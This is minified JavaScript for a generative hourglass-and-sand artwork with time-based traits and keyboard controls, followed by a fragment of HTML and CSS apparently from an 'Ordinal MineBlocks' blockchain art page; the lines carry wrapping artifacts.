;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
